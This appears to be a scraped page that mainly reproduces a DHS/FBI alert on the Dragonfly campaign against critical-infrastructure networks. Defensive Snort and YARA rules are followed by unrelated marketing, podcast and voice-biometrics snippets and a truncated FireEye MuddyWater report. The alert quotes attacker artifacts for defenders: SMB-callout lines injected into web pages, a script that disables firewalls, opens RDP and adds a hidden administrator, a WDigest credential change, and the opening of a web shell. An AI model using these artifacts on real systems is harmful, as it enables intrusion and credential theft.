Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]
Use of Watering Hole Domains
One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.
<img src="https://www.us-cert.govfile[:]//62.8.193[.]206/main_logo.png" style="height: 1px; width: 1px;" /> |
In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:
var i = document.createElement("img"); i.src = "file[:]//184.154.150[.]66/ame_icon.png"; i.width = 3; i.height=2; |
Stage 3: Delivery
When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled ``document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)
In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.
Stage 4: Exploitation
The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.
When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1]
Stage 5: Installation
The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.
Establishing Local Accounts
The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.
Contents of symantec_help.jsp
____________________________________________________________________________________________________________________
<% Runtime.getRuntime().exec("cmd /C \"" + System.getProperty("user.dir") + "\\..\\webapps\\ROOT\\<enu.cmd>\""); %>
____________________________________________________________________________________________________________________
The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.
Contents of enu.cmd
____________________________________________________________________________________________________________________
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d 100 /f
net user MS_BACKUP <Redacted_Password> /add
net localgroup Administrators /add MS_BACKUP
net localgroup Administradores /add MS_BACKUP
net localgroup Amministratori /add MS_BACKUP
net localgroup Administratoren /add MS_BACKUP
net localgroup Administrateurs /add MS_BACKUP
net localgroup "Remote Desktop Users" /add MS_BACKUP
net user MS_BACKUP /expires:never
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
sc config termservice start= auto
net start termservice
____________________________________________________________________________________________________________________
DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:
Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.
Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.
Account 3: Account 3 was created within the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).
Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.
Scheduled Task
In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.
VPN Software
After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.
Password Cracking Tools
Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\.
Downloader
Once inside of an intended target’s network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.
In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:
Persistence Through .LNK File Manipulation
The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.
Four of the observed LNK files were “SETROUTE.lnk”, “notepad.exe.lnk”, “Document.lnk” and “desktop.ini.lnk”. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:
Parsed output for file: desktop.ini.lnk
Registry Modification
The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f |
Stage 6: Command and Control
The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the “public string Password” field.
Beginning Contents of the Web Shell
____________________________________________________________________________________________________________________
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat = "server">
public string Password = "<REDACTED>";
public string z_progname = "z_WebShell";
…
____________________________________________________________________________________________________________________
Stage 7: Actions on Objectives
DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.
Internal Reconnaissance
Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim’s network.
Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:
The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip”.
The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.
In at least two instances, the threat actors used batch scripts labeled “pss.bat” and “psc.bat” to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to “ps.exe”.
DHS observed the threat actors create and modify a text document labeled “ip.txt” which is believed to have contained a list of host information. The threat actors used “ip.txt” as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents “res.txt” and “err.txt” were observed being created as a result of the batch scripts being executed. In one instance, “res.txt” contained output from the Windows’ command “query user” across the network.
Using <Username> <Password> |
An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network.
In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with “scr.exe”. In two instances, the scheduled tasks were designed to run the command “C:\Windows\Temp\scr.exe” with the argument “C:\Windows\Temp\scr.jpg”. In another instance, the scheduled task was designed to run with the argument “pss.bat” from the local administrator’s “AppData\Local\Microsoft\” folder.
The threat actors commonly executed files out of various directories within the user’s AppData or Downloads folder. Some common directory names were
Targeting of ICS and SCADA Infrastructure
In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).
The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.
Cleanup and Cover Tracks
In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.
Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as “scr.exe”.
Detection and Response
IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.
Network Signatures and Host-Based Rules
This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.
Network Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
___________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)
__________________________________________
alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
YARA Rules
This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.
*/
rule APT_malware_1
{
meta:
description = "inveigh pen testing tools & related artifacts"
author = "DHS | NCCIC Code Analysis Team"
date = "2017/07/17"
hash0 = "61C909D2F625223DB2FB858BBDF42A76"
hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
hash2 = "BA756DD64C1147515BA2298B6A760260"
hash3 = "8943E71A8C73B5E343AA9D2E19002373"
hash4 = "04738CA02F59A5CD394998A99FCD9613"
hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
hash6 = "65A1A73253F04354886F375B59550B46"
hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
hash9 = "722154A36F32BA10E98020A8AD758A7A"
hash10 = "4595DBE00A538DF127E0079294C87DA0"
strings:
$s0 = "file://"
$s1 = "/ame_icon.png"
$s2 = "184.154.150.66"
$s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
$s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
$s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
$s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
$s8 = "NlZzSZk="
$s9 = "WlJTb1q5kaxqZaRnser3sw=="
$s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
$s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
$s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
$s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
$s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }
//inveigh pentesting tools
$s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
//specific malicious word document PK archive
$s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
$s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
$s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
$s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s22 = "5.153.58.45"
$s23 = "62.8.193.206"
$s24 = "/1/ree_stat/p"
$s25 = "/icon.png"
$s26 = "/pshare1/icon"
$s27 = "/notepad.png"
$s28 = "/pic.png"
$s29 = "http://bit.ly/2m0x8IH"
condition:
($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)
}
rule APT_malware_2
{
meta:
description = "rule detects malware"
author = "other"
strings:
$api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
any of them
}
rule Query_XML_Code_MAL_DOC_PT_2
{
meta:
name= "Query_XML_Code_MAL_DOC_PT_2"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir1 = "word/_rels/settings.xml.rels"
$bytes = {8c 90 cd 4e eb 30 10 85 d7}
condition:
$zip_magic at 0 and $dir1 and $bytes
}
rule Query_Javascript_Decode_Function
{
meta:
name= "Query_Javascript_Decode_Function"
author = "other"
strings:
$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
$func_call="a(\""
condition:
filesize < 20KB and #func_call > 20 and all of ($decode*)
}
rule Query_XML_Code_MAL_DOC
{
meta:
name= "Query_XML_Code_MAL_DOC"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir = "word/_rels/" ascii
$dir2 = "word/theme/theme1.xml" ascii
$style = "word/styles.xml" ascii
condition:
$zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
}
rule z_webshell
{
meta:
description = "Detection for the z_webshell"
author = "DHS NCCIC Hunt and Incident Response Team"
date = "2018/01/25"
md5 = "2C9095C965A55EFC46E16B86F9B7D6C6"
strings:
$aspx_identifier1 = "<%@ " nocase ascii wide
$aspx_identifier2 = "<asp:" nocase ascii wide
$script_import = /(import|assembly) Name(space)?\=\"(System|Microsoft)/ nocase ascii wide
$case_string = /case \"z_(dir|file|FM|sql)_/ nocase ascii wide
$webshell_name = "public string z_progname =" nocase ascii wide
$webshell_password = "public string Password =" nocase ascii wide
condition:
1 of ($aspx_identifier*)
and #script_import > 10
and #case_string > 7
and 2 of ($webshell_*)
and filesize < 100KB
}
This actors’ campaign has affected multiple organizations in the energy, nuclear, water, aviation, construction, and critical manufacturing sectors.
DHS and FBI encourage network users and administrators to use the following detection and prevention guidelines to help defend against this activity.
Network and Host-based Signatures
DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, and YARA and Snort signatures provided and add the IPs to their watch list to determine whether malicious activity is occurring within their organization. Reviewing network perimeter netflow will help determine whether a network has experienced suspicious activity. Network defenders and malware analysts should use the YARA and Snort signatures provided in the associated YARA and .txt file to identify malicious activity.
Detections and Prevention Measures
General Best Practices Applicable to this Campaign:
Report Notice
DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at NCCICcustomerservice@hq.dhs.gov or 888-282-0870 and the FBI through a local field office or the FBI’s Cyber Division (CyWatch@fbi.gov or 855-292-3937).
This product is provided subject to this Notification and this Privacy & Use policy.
Are you struggling to respond to customer and prospect concerns about the security of your application? Do you know what good application security looks like, or how to get there?
CA Veracode is pleased to announce the CA Veracode Verified program. With CA Veracode Verified, you prove at a glance that you’ve made security a priority, and that your security program is backed by one of the most trusted names in the industry. Without straining limited security resources, you’ll stay ahead of customer and prospect security concerns, speeding your sales cycle. In addition, the CA Veracode Verified program gives you a proven roadmap for maturing your application security program.
CA Veracode Verified is an attestation of the process that a development team has in place to assess the security of an identified application. There are three tiers of the CA Veracode Verified program: You progress from Standard to Team to Continuous as your program matures and expands to include third-party components and secure coding strategies beyond just assessing the first-party code developed in-house. Check out our infographic for more details on each tier.
Speed sales cycles: If your customers and prospects aren’t asking about the security of your software, they will be. With the increase in damaging breaches making headlines, customers, both consumers and businesses, will increasingly request assurance that your products won’t leave them vulnerable. But reacting to individual prospect or customer concerns about security for every application is a time-consuming and expensive endeavor that lengthens, or even ends, sales cycles. With CA Veracode Verified, you stay ahead of the security concerns by proving at a glance that your application was developed with security in mind, making security your competitive advantage!
Prove the security of your development process: CA Veracode Verified attests that your development team implements secure coding practices and has integrated security into the development process. This attestation assures your customers that you were focused on security from the start when building this product, and that you’ve made secure code an element of high-quality code. It also gives you third-party validation of the security of your software with one of the most respected and trusted names in the security industry. The Verified attestation is backed by CA Veracode’s industry-leading platform and programmatic approach, 10+ years’ experience , more than 65 trillion lines of code scanned and more than 30 million flaws fixed.
Don’t strain limited security resources responding to customer and prospect requests for security attestations: Remove your limited security resources from the endless firefighting that is responding to customer and prospect requests for security attestation. The CA Veracode Verified seal fosters confidence and trust in your products so that your security teams can focus resources on other value-added tasks and initiatives.
Articulate the value of investment in security to the Board: When security speeds sales cycles and frees up resources, the Board takes notice. Additionally, by moving through each tier, you can use the Verified program to demonstrate progress in application security initiatives and the value of the investment.
Have you started down the AppSec path? As a CA Veracode customer, you might be Verified already! Check out our infographic for details on each level. If your application qualifies for a Verified status, there are a few ways you can promote the security you have built into your application , including a Verfied seal you can display on your website, an attestation letter you can share with customers and prospects and a press release template you can use to share the news. We’ll also add your name to our Verified Directory, visible to your prospects, customers and competitors.
Want to get Verified, or move up to Verified Team or Verified Continuous? Check out our eBook to see what that entails, and contact us to get started!
Give your customers confidence that your software is secure …Verify it.
This week, Michael and Paul interview Futurist Thornton May, and CSO of Cisco Systems, Inc., Edna Conway! Then the articles of discussion and tracking security innovation! All that and more, on this episode of Business Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/BSWEpisode77
Visit https://www.securityweekly.com/bsw for all the latest episodes!
Opus Research and Pindrop Discuss the Future of Voice
The trial period of voice biometrics is over — the proof points surrounding voice biometrics have been determined, with customer experience, efficiencies, and fraud in mind. Voice biometrics, along with help from deep neural networks (DNN), allows fraud attacks to be mitigated through multi-layered solutions.
Last week, the founder of Opus Research, Dan Miller, and the Director of Authentication at Opus, Ravin Sanjith, sat down with Matt Garland, our VP of Research, for a conversation about the current state and potential evolution of voice biometrics.
As we navigate through different channels, the purpose of voice biometrics remains the same — to provide a unique, secure element to a multi-factored authentication solution. Within the phone channel, and specifically the call center, voice biometrics alone can only do so much, and the human factor serves as a perennial risk. Fraudsters continue to take advantage of the call center, where fraud is often originates, with vishing and social engineering attacks — causing a snowball effect and pushing fraud into other channels. This common occurrence validates the need for continuity in authentication as we move freely between channels.
Previous challenges faced in biometrics have been met with new technology, including DNNs — a series of layers of nodes that work as data approximators. These DNNs break down problems and teach the networks new functions — enhancing voice biometrics. Additionally, DNNs enable text independence for voice biometric systems, with passive enrollment that ensures a seamless customer experience. To learn more about voice biometrics and deep neural networks, watch the on-demand session here.
The post Voice Bio, Deep Neural Networks, and the Search for a Seamless Customer Experience appeared first on Pindrop.
From January 2018 to March 2018, through FireEye’s Dynamic Threat Intelligence, we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East.
We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS.
One of the more interesting observations during the analysis of these files was the re-use of the latest AppLocker bypass, and lateral movement techniques for the purpose of indirect code execution. The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system.
In this campaign, the threat actor’s tactics, techniques and procedures (TTPs) shifted after about a month, as did their targets. A brief timeline of this activity is shown in Figure 1.
Figure 1: Timeline of this recently
observed spear phishing campaign
The first part of the campaign (From Jan. 23, 2018, to Feb. 26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe. The process chain is shown in Figure 2.
Figure 2: Process chain for the first
part of the campaign
Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of process tree, its final purpose remained same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it. One such example of the VBS invoking PowerShell via MSHTA is shown in Figure 3.
Figure 3: VBS invoking PowerShell via MSHTA
